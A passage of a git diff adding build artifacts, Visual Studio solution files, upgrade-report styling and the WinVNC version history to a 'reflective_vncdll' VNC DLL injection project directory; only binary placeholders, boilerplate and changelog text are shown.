b/external/source/reflective_vncdll/winvnc/Release/stdhdrs.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/translate.obj b/external/source/reflective_vncdll/winvnc/Release/translate.obj new file mode 100644 index 0000000000..9e421a1b55 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/translate.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/translate.sbr b/external/source/reflective_vncdll/winvnc/Release/translate.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vc90.idb b/external/source/reflective_vncdll/winvnc/Release/vc90.idb new file mode 100644 index 0000000000..9dfb9a206e Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vc90.idb differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vc90.pdb b/external/source/reflective_vncdll/winvnc/Release/vc90.pdb new file mode 100644 index 0000000000..eef49bdf6b Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vc90.pdb differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncabout.obj b/external/source/reflective_vncdll/winvnc/Release/vncabout.obj new file mode 100644 index 0000000000..e9c6115029 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncabout.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncabout.sbr b/external/source/reflective_vncdll/winvnc/Release/vncabout.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncacceptdialog.obj b/external/source/reflective_vncdll/winvnc/Release/vncacceptdialog.obj new file mode 100644 index 0000000000..7f9316c0e6 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncacceptdialog.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncacceptdialog.sbr b/external/source/reflective_vncdll/winvnc/Release/vncacceptdialog.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncauth.obj b/external/source/reflective_vncdll/winvnc/Release/vncauth.obj new file mode 100644 index 0000000000..874bfdc19d Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncauth.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncauth.sbr b/external/source/reflective_vncdll/winvnc/Release/vncauth.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncbuffer.obj b/external/source/reflective_vncdll/winvnc/Release/vncbuffer.obj new file mode 100644 index 0000000000..9364d65af2 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncbuffer.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncbuffer.sbr b/external/source/reflective_vncdll/winvnc/Release/vncbuffer.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncclient.obj b/external/source/reflective_vncdll/winvnc/Release/vncclient.obj new file mode 100644 index 0000000000..a5f1e2eba4 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncclient.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncclient.sbr b/external/source/reflective_vncdll/winvnc/Release/vncclient.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncconndialog.obj b/external/source/reflective_vncdll/winvnc/Release/vncconndialog.obj new file mode 100644 index 0000000000..fe81ff7cfa Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncconndialog.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncconndialog.sbr b/external/source/reflective_vncdll/winvnc/Release/vncconndialog.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncdesktop.obj b/external/source/reflective_vncdll/winvnc/Release/vncdesktop.obj new file mode 100644 index 0000000000..1290d92ff8 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncdesktop.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncdesktop.sbr b/external/source/reflective_vncdll/winvnc/Release/vncdesktop.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncdll.bsc b/external/source/reflective_vncdll/winvnc/Release/vncdll.bsc new file mode 100644 index 0000000000..c56bbdfdf1 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncdll.bsc differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncdll.dll b/external/source/reflective_vncdll/winvnc/Release/vncdll.dll new file mode 100644 index 0000000000..649988ee49 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncdll.dll differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncdll.dll.intermediate.manifest b/external/source/reflective_vncdll/winvnc/Release/vncdll.dll.intermediate.manifest new file mode 100644 index 0000000000..1c06b6190a --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/Release/vncdll.dll.intermediate.manifest @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/external/source/reflective_vncdll/winvnc/Release/vncdll.exp b/external/source/reflective_vncdll/winvnc/Release/vncdll.exp new file mode 100644 index 0000000000..87bd3aca09 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncdll.exp differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncdll.lib b/external/source/reflective_vncdll/winvnc/Release/vncdll.lib new file mode 100644 index 0000000000..328ae1ed80 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncdll.lib differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncdll.pdb b/external/source/reflective_vncdll/winvnc/Release/vncdll.pdb new file mode 100644 index 0000000000..7f5a8bfce1 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncdll.pdb differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncencodecorre.obj b/external/source/reflective_vncdll/winvnc/Release/vncencodecorre.obj new file mode 100644 index 0000000000..fc2d64aa2b Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncencodecorre.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncencodecorre.sbr b/external/source/reflective_vncdll/winvnc/Release/vncencodecorre.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncencodehext.obj b/external/source/reflective_vncdll/winvnc/Release/vncencodehext.obj new file mode 100644 index 0000000000..f06b734b4f Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncencodehext.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncencodehext.sbr b/external/source/reflective_vncdll/winvnc/Release/vncencodehext.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncencoder.obj b/external/source/reflective_vncdll/winvnc/Release/vncencoder.obj new file mode 100644 index 0000000000..94b8fcb028 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncencoder.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncencoder.sbr b/external/source/reflective_vncdll/winvnc/Release/vncencoder.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncencoderre.obj b/external/source/reflective_vncdll/winvnc/Release/vncencoderre.obj new file mode 100644 index 0000000000..7e048e10dc Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncencoderre.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncencoderre.sbr b/external/source/reflective_vncdll/winvnc/Release/vncencoderre.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncencodezrle.obj b/external/source/reflective_vncdll/winvnc/Release/vncencodezrle.obj new file mode 100644 index 0000000000..276fc372a5 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncencodezrle.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncencodezrle.sbr b/external/source/reflective_vncdll/winvnc/Release/vncencodezrle.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vnchttpconnect.obj b/external/source/reflective_vncdll/winvnc/Release/vnchttpconnect.obj new file mode 100644 index 0000000000..8793823188 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vnchttpconnect.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vnchttpconnect.sbr b/external/source/reflective_vncdll/winvnc/Release/vnchttpconnect.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncinsthandler.obj b/external/source/reflective_vncdll/winvnc/Release/vncinsthandler.obj new file mode 100644 index 0000000000..6b4ded9d3b Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncinsthandler.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncinsthandler.sbr b/external/source/reflective_vncdll/winvnc/Release/vncinsthandler.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vnckeymap.obj b/external/source/reflective_vncdll/winvnc/Release/vnckeymap.obj new file mode 100644 index 0000000000..e0384d7602 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vnckeymap.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vnckeymap.sbr b/external/source/reflective_vncdll/winvnc/Release/vnckeymap.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vnclog.obj b/external/source/reflective_vncdll/winvnc/Release/vnclog.obj new file mode 100644 index 0000000000..105de85fda Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vnclog.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vnclog.sbr b/external/source/reflective_vncdll/winvnc/Release/vnclog.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncmenu.obj b/external/source/reflective_vncdll/winvnc/Release/vncmenu.obj new file mode 100644 index 0000000000..e6e8f03b67 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncmenu.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncmenu.sbr b/external/source/reflective_vncdll/winvnc/Release/vncmenu.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncproperties.obj b/external/source/reflective_vncdll/winvnc/Release/vncproperties.obj new file mode 100644 index 0000000000..27019d8c72 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncproperties.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncproperties.sbr b/external/source/reflective_vncdll/winvnc/Release/vncproperties.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncserver.obj b/external/source/reflective_vncdll/winvnc/Release/vncserver.obj new file mode 100644 index 0000000000..e3b760ad17 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncserver.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncserver.sbr b/external/source/reflective_vncdll/winvnc/Release/vncserver.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncservice.obj b/external/source/reflective_vncdll/winvnc/Release/vncservice.obj new file mode 100644 index 0000000000..e9b132b1a1 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncservice.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncservice.sbr b/external/source/reflective_vncdll/winvnc/Release/vncservice.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vncsockconnect.obj b/external/source/reflective_vncdll/winvnc/Release/vncsockconnect.obj new file mode 100644 index 0000000000..2218c1a450 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vncsockconnect.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vncsockconnect.sbr b/external/source/reflective_vncdll/winvnc/Release/vncsockconnect.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vnctimedmsgbox.obj b/external/source/reflective_vncdll/winvnc/Release/vnctimedmsgbox.obj new file mode 100644 index 0000000000..ef98a171f0 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vnctimedmsgbox.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vnctimedmsgbox.sbr b/external/source/reflective_vncdll/winvnc/Release/vnctimedmsgbox.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/vsocket.obj b/external/source/reflective_vncdll/winvnc/Release/vsocket.obj new file mode 100644 index 0000000000..e6e578a383 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/vsocket.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/vsocket.sbr b/external/source/reflective_vncdll/winvnc/Release/vsocket.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/Release/winvnc.obj b/external/source/reflective_vncdll/winvnc/Release/winvnc.obj new file mode 100644 index 0000000000..866dfa265f Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/Release/winvnc.obj differ diff --git a/external/source/reflective_vncdll/winvnc/Release/winvnc.sbr b/external/source/reflective_vncdll/winvnc/Release/winvnc.sbr new file mode 100644 index 0000000000..e69de29bb2 diff --git a/external/source/reflective_vncdll/winvnc/UpgradeLog.XML b/external/source/reflective_vncdll/winvnc/UpgradeLog.XML new file mode 100644 index 0000000000..ab9f4df5be --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/UpgradeLog.XML @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/VNC DLL Injection.ncb b/external/source/reflective_vncdll/winvnc/VNC DLL Injection.ncb new file mode 100644 index 0000000000..b5a2b72b93 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/VNC DLL Injection.ncb differ diff --git a/external/source/reflective_vncdll/winvnc/VNC DLL Injection.sln b/external/source/reflective_vncdll/winvnc/VNC DLL Injection.sln new file mode 100644 index 0000000000..a34cd29caf --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/VNC DLL Injection.sln @@ -0,0 +1,33 @@ +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual C++ Express 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Xregion", "..\Xregion\Xregion.vcproj", "{2B336221-F3CC-4100-AFC6-FE6F7D1348A3}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "rdr", "..\rdr\rdr.vcproj", "{F2473D0A-3E49-4127-9FF6-51D53C45590A}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "vncdll", "vncdll\vncdll.vcproj", "{AC521037-8079-4B64-9135-115F1CF6B467}" + ProjectSection(ProjectDependencies) = postProject + {F2473D0A-3E49-4127-9FF6-51D53C45590A} = {F2473D0A-3E49-4127-9FF6-51D53C45590A} + {2B336221-F3CC-4100-AFC6-FE6F7D1348A3} = {2B336221-F3CC-4100-AFC6-FE6F7D1348A3} + {79543867-ADAB-4DA1-A4BB-6950AA81C090} = {79543867-ADAB-4DA1-A4BB-6950AA81C090} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "zlib", "..\zlib\zlib.vcproj", "{79543867-ADAB-4DA1-A4BB-6950AA81C090}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {2B336221-F3CC-4100-AFC6-FE6F7D1348A3}.Release|Win32.ActiveCfg = Release|Win32 + {2B336221-F3CC-4100-AFC6-FE6F7D1348A3}.Release|Win32.Build.0 = Release|Win32 + {F2473D0A-3E49-4127-9FF6-51D53C45590A}.Release|Win32.ActiveCfg = Release|Win32 + {F2473D0A-3E49-4127-9FF6-51D53C45590A}.Release|Win32.Build.0 = Release|Win32 + {AC521037-8079-4B64-9135-115F1CF6B467}.Release|Win32.ActiveCfg = Release|Win32 + {AC521037-8079-4B64-9135-115F1CF6B467}.Release|Win32.Build.0 = Release|Win32 + {79543867-ADAB-4DA1-A4BB-6950AA81C090}.Release|Win32.ActiveCfg = Release|Win32 + {79543867-ADAB-4DA1-A4BB-6950AA81C090}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/reflective_vncdll/winvnc/VNC DLL Injection.sln.old b/external/source/reflective_vncdll/winvnc/VNC DLL Injection.sln.old new file mode 100644 index 0000000000..4452dbcae4 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/VNC DLL Injection.sln.old @@ -0,0 +1,39 @@ +Microsoft Visual Studio Solution File, Format Version 8.00 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Xregion", "..\Xregion\Xregion.vcproj", "{2B336221-F3CC-4100-AFC6-FE6F7D1348A3}" + ProjectSection(ProjectDependencies) = postProject + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "rdr", "..\rdr\rdr.vcproj", "{F2473D0A-3E49-4127-9FF6-51D53C45590A}" + ProjectSection(ProjectDependencies) = postProject + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "vncdll", "vncdll\vncdll.vcproj", "{AC521037-8079-4B64-9135-115F1CF6B467}" + ProjectSection(ProjectDependencies) = postProject + {F2473D0A-3E49-4127-9FF6-51D53C45590A} = {F2473D0A-3E49-4127-9FF6-51D53C45590A} + {2B336221-F3CC-4100-AFC6-FE6F7D1348A3} = {2B336221-F3CC-4100-AFC6-FE6F7D1348A3} + {79543867-ADAB-4DA1-A4BB-6950AA81C090} = {79543867-ADAB-4DA1-A4BB-6950AA81C090} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "zlib", "..\zlib\zlib.vcproj", "{79543867-ADAB-4DA1-A4BB-6950AA81C090}" + ProjectSection(ProjectDependencies) = postProject + EndProjectSection +EndProject +Global + GlobalSection(SolutionConfiguration) = preSolution + Release = Release + EndGlobalSection + GlobalSection(ProjectConfiguration) = postSolution + {2B336221-F3CC-4100-AFC6-FE6F7D1348A3}.Release.ActiveCfg = Release|Win32 + {2B336221-F3CC-4100-AFC6-FE6F7D1348A3}.Release.Build.0 = Release|Win32 + {F2473D0A-3E49-4127-9FF6-51D53C45590A}.Release.ActiveCfg = Release|Win32 + {F2473D0A-3E49-4127-9FF6-51D53C45590A}.Release.Build.0 = Release|Win32 + {AC521037-8079-4B64-9135-115F1CF6B467}.Release.ActiveCfg = Release|Win32 + {AC521037-8079-4B64-9135-115F1CF6B467}.Release.Build.0 = Release|Win32 + {79543867-ADAB-4DA1-A4BB-6950AA81C090}.Release.ActiveCfg = Release|Win32 + {79543867-ADAB-4DA1-A4BB-6950AA81C090}.Release.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + EndGlobalSection + GlobalSection(ExtensibilityAddIns) = postSolution + EndGlobalSection +EndGlobal diff --git a/external/source/reflective_vncdll/winvnc/VNC DLL Injection.suo b/external/source/reflective_vncdll/winvnc/VNC DLL Injection.suo new file mode 100644 index 0000000000..241792272b Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/VNC DLL Injection.suo differ diff --git a/external/source/reflective_vncdll/winvnc/VNC DLL Injection.suo.old b/external/source/reflective_vncdll/winvnc/VNC DLL Injection.suo.old new file mode 100644 index 0000000000..ac4eb31dcf Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/VNC DLL Injection.suo.old differ diff --git a/external/source/reflective_vncdll/winvnc/_UpgradeReport_Files/UpgradeReport.css b/external/source/reflective_vncdll/winvnc/_UpgradeReport_Files/UpgradeReport.css new file mode 100644 index 0000000000..3411f63223 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/_UpgradeReport_Files/UpgradeReport.css @@ -0,0 +1,207 @@ +BODY +{ + BACKGROUND-COLOR: white; + FONT-FAMILY: "Verdana", sans-serif; + FONT-SIZE: 100%; + MARGIN-LEFT: 0px; + MARGIN-TOP: 0px +} +P +{ + FONT-FAMILY: "Verdana", sans-serif; + FONT-SIZE: 70%; + LINE-HEIGHT: 12pt; + MARGIN-BOTTOM: 0px; + MARGIN-LEFT: 10px; + MARGIN-TOP: 10px +} +.note +{ + BACKGROUND-COLOR: #ffffff; + COLOR: #336699; + FONT-FAMILY: "Verdana", sans-serif; + FONT-SIZE: 100%; + MARGIN-BOTTOM: 0px; + MARGIN-LEFT: 0px; + MARGIN-TOP: 0px; + PADDING-RIGHT: 10px +} +.infotable +{ + BACKGROUND-COLOR: #f0f0e0; + BORDER-BOTTOM: #ffffff 0px solid; + BORDER-COLLAPSE: collapse; + BORDER-LEFT: #ffffff 0px solid; + BORDER-RIGHT: #ffffff 0px solid; + BORDER-TOP: #ffffff 0px solid; + FONT-SIZE: 70%; + MARGIN-LEFT: 10px +} +.issuetable +{ + BACKGROUND-COLOR: #ffffe8; + BORDER-COLLAPSE: collapse; + COLOR: #000000; + FONT-SIZE: 100%; + MARGIN-BOTTOM: 10px; + MARGIN-LEFT: 13px; + MARGIN-TOP: 0px +} +.issuetitle +{ + BACKGROUND-COLOR: #ffffff; + BORDER-BOTTOM: #dcdcdc 1px solid; + BORDER-TOP: #dcdcdc 1px; + COLOR: #003366; + FONT-WEIGHT: normal +} +.header +{ + BACKGROUND-COLOR: #cecf9c; + BORDER-BOTTOM: #ffffff 1px solid; + BORDER-LEFT: #ffffff 1px solid; + BORDER-RIGHT: #ffffff 1px solid; + BORDER-TOP: #ffffff 1px solid; + COLOR: #000000; + FONT-WEIGHT: bold +} +.issuehdr +{ + BACKGROUND-COLOR: #E0EBF5; + BORDER-BOTTOM: #dcdcdc 1px solid; + BORDER-TOP: #dcdcdc 1px solid; + COLOR: #000000; + FONT-WEIGHT: normal +} +.issuenone +{ + BACKGROUND-COLOR: #ffffff; + BORDER-BOTTOM: 0px; + BORDER-LEFT: 0px; + BORDER-RIGHT: 0px; + BORDER-TOP: 0px; + COLOR: #000000; + FONT-WEIGHT: normal +} +.content +{ + BACKGROUND-COLOR: #e7e7ce; + BORDER-BOTTOM: #ffffff 1px solid; + BORDER-LEFT: #ffffff 1px solid; + BORDER-RIGHT: #ffffff 1px solid; + BORDER-TOP: #ffffff 1px solid; + PADDING-LEFT: 3px +} +.issuecontent +{ + BACKGROUND-COLOR: #ffffff; + BORDER-BOTTOM: #dcdcdc 1px solid; + BORDER-TOP: #dcdcdc 1px solid; + PADDING-LEFT: 3px +} +A:link +{ + COLOR: #cc6633; + TEXT-DECORATION: underline +} +A:visited +{ + COLOR: #cc6633; +} +A:active +{ + COLOR: #cc6633; +} +A:hover +{ + COLOR: #cc3300; + TEXT-DECORATION: underline +} +H1 +{ + BACKGROUND-COLOR: #003366; + BORDER-BOTTOM: #336699 6px solid; + COLOR: #ffffff; + FONT-SIZE: 130%; + FONT-WEIGHT: normal; + MARGIN: 0em 0em 0em -20px; + PADDING-BOTTOM: 8px; + PADDING-LEFT: 30px; + PADDING-TOP: 16px +} +H2 +{ + COLOR: #000000; + FONT-SIZE: 80%; + FONT-WEIGHT: bold; + MARGIN-BOTTOM: 3px; + MARGIN-LEFT: 10px; + MARGIN-TOP: 20px; + PADDING-LEFT: 0px +} +H3 +{ + COLOR: #000000; + FONT-SIZE: 80%; + FONT-WEIGHT: bold; + MARGIN-BOTTOM: -5px; + MARGIN-LEFT: 10px; + MARGIN-TOP: 20px +} +H4 +{ + COLOR: #000000; + FONT-SIZE: 70%; + FONT-WEIGHT: bold; + MARGIN-BOTTOM: 0px; + MARGIN-TOP: 15px; + PADDING-BOTTOM: 0px +} +UL +{ + COLOR: #000000; + FONT-SIZE: 70%; + LIST-STYLE: square; + MARGIN-BOTTOM: 0pt; + MARGIN-TOP: 0pt +} +OL +{ + COLOR: #000000; + FONT-SIZE: 70%; + LIST-STYLE: square; + MARGIN-BOTTOM: 0pt; + MARGIN-TOP: 0pt +} +LI +{ + LIST-STYLE: square; + MARGIN-LEFT: 0px +} +.expandable +{ + CURSOR: hand +} +.expanded +{ + color: black +} +.collapsed +{ + DISPLAY: none +} +.foot +{ +BACKGROUND-COLOR: #ffffff; +BORDER-BOTTOM: #cecf9c 1px solid; +BORDER-TOP: #cecf9c 2px solid +} +.settings +{ +MARGIN-LEFT: 25PX; +} +.help +{ +TEXT-ALIGN: right; +margin-right: 10px; +} diff --git a/external/source/reflective_vncdll/winvnc/_UpgradeReport_Files/UpgradeReport.xslt b/external/source/reflective_vncdll/winvnc/_UpgradeReport_Files/UpgradeReport.xslt new file mode 100644 index 0000000000..2d033c540c --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/_UpgradeReport_Files/UpgradeReport.xslt @@ -0,0 +1,232 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+ Solution: + Project: + + + + + + + +

+ + + + + + + + + + + + + + + + + + + + + + + + src + + + + + + + + + + + + +
FilenameStatusErrorsWarnings
+ javascript:document.images[''].click()src + + + + Converted + + + + Converted + +
+ + files + + + 1 file + + + Converted:
+ Not converted: +
+
+
+ + + + : + + + + + + + + + Conversion Report + <xsl:if test="Properties/Property[@Name='LogNumber']"> + <xsl:value-of select="Properties/Property[@Name='LogNumber']/@Value"/> + </xsl:if> + + + + +

Conversion Report -

+ +

+ Time of Conversion:
+

+ + + + + + + + + + + + + + + + + + + + + + + + +

+ + + + + +
+ Conversion Settings +

+ + +
+
diff --git a/external/source/reflective_vncdll/winvnc/_UpgradeReport_Files/UpgradeReport_Minus.gif b/external/source/reflective_vncdll/winvnc/_UpgradeReport_Files/UpgradeReport_Minus.gif new file mode 100644 index 0000000000..17751cb2fd Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/_UpgradeReport_Files/UpgradeReport_Minus.gif differ diff --git a/external/source/reflective_vncdll/winvnc/_UpgradeReport_Files/UpgradeReport_Plus.gif b/external/source/reflective_vncdll/winvnc/_UpgradeReport_Files/UpgradeReport_Plus.gif new file mode 100644 index 0000000000..f6009ca3f6 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/_UpgradeReport_Files/UpgradeReport_Plus.gif differ diff --git a/external/source/reflective_vncdll/winvnc/history.txt b/external/source/reflective_vncdll/winvnc/history.txt new file mode 100644 index 0000000000..55e4abdf93 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/history.txt @@ -0,0 +1,798 @@ +WinVNC Version History + +Version 3.3.7 (RealVNC Version 3.3.7) +Changes from 3.3.6: + + Removed use of Win32 HRGN API completely. Regions are now implemented + using the X11 region code, nobbled just enough to build properly. + + Fixed a memory leak in the Win32 HRGN API, just in case it ever gets fixed. + + Changed the VNCHooks defaults to use deferred updates, and to hook key + press events - may cause performance issues and ActiveX issues, but + they are the best settings for most systems. + + Fixed a bug in the processing of passwords supplied in the Properties dialog + that affected use of Latin-1 characters with ASCII codes of 128 or above. + +Version 3.3.6 (RealVNC Version 3.3.6) +Changes from 3.3.5: + + The WinVNC service helper now attempts to contact the server for + up to a minute, to cope with users logging on to XP machines before + the service has had a chance to start. Avoids the tray icon not being + shown. + + When run as an application, WinVNC will always display the tray icon. + + Renamed omnithread2_rt.dll to othread2.dll to work around a + problem with the InnoSetup installer. + + Added concurrency-protection around all uses of Win32 HRGN API + routines, to avoid a possible bug in the Win32 API when used + by multi-threaded programs. + + Clipboard contents are now sent to clients even if no graphical + updates are available. + + Advanced VNCHooks.dll settings can now be specified on a per- + machine basis, not just per-user. + + Fixed rare condition in VNCHooks.dll that could prevent user + profiles from being unloaded correctly. + + Fixed timeout bug in HTTP server. + +Version 3.3.5 (RealVNC Version 3.3.5) +Changes from 3.3.4b1: + + A race-condition when first configuring the server has been fixed. + + The password field in the Properties dialog is now handled better. + + Active Desktop backgrounds can now be handled by RemoveWallpaper. + + Mouse wheels are now supported. + + The Add New Client dialog now accepts specifications of the form + : or :, to allow listening + viewers to be used that are listening on ports other than the default. + + The AllowEditClients registry option is used like AllowProperties, + and allows VNC to be configured not to show the Add New Client or + Kill All Clients menu items in the tray icon menu. + + Implemented the -reinstall option, which unregisters the WinVNC + service if registered, then re-registers it. + + Fixed bug in fast blit code when pixel format changes from one + supporting fast blits to a munged format. + +Version 3.3.4b1 (RealVNC Version 3.3.4, Beta Release 1) +Changes from AT&T Labs' Version 3.3.3 Revision 10: + + Delphi apps should no longer crash when run alongside VNC. + + WinVNC nows gives a slightly more useful error message if -install is used + while the service is already registered, + + The logging-related buffer overflow exploits should no longer be possible. + + Added several options to the Properties dialog. + + The current password is not stored in the Properties dialog when + displayed, preventing it from being read by other programs. + + The HTTP server can be disabled by the HTTPConnect registry key. + + LockSettings can now lock Windows 2000/XP boxes on disconnect. + + Improved update tracking code. + + Fixed LF/CRLF problem in HTTP server. + + Clients are no longer disconnected if pixel format changes. + They WILL be disconnected if the display size changes. + + Update hooking and transmission now decoupled. + + Optimised checking of update regions for changes for case where + clients are connected which do not request updates (often). + + Optimised for multiple simultaneous client connections. + + Upgraded omnithread library. + + Rationalised source tree a little. + + Renamed "log" to "vnclog" to avoid log() function clashes. + +Version 3.3.3 (VNC Version 3.3.3, revision 10) +Changes from Version 3.3.3 Revision 9: + + Fixed signature of 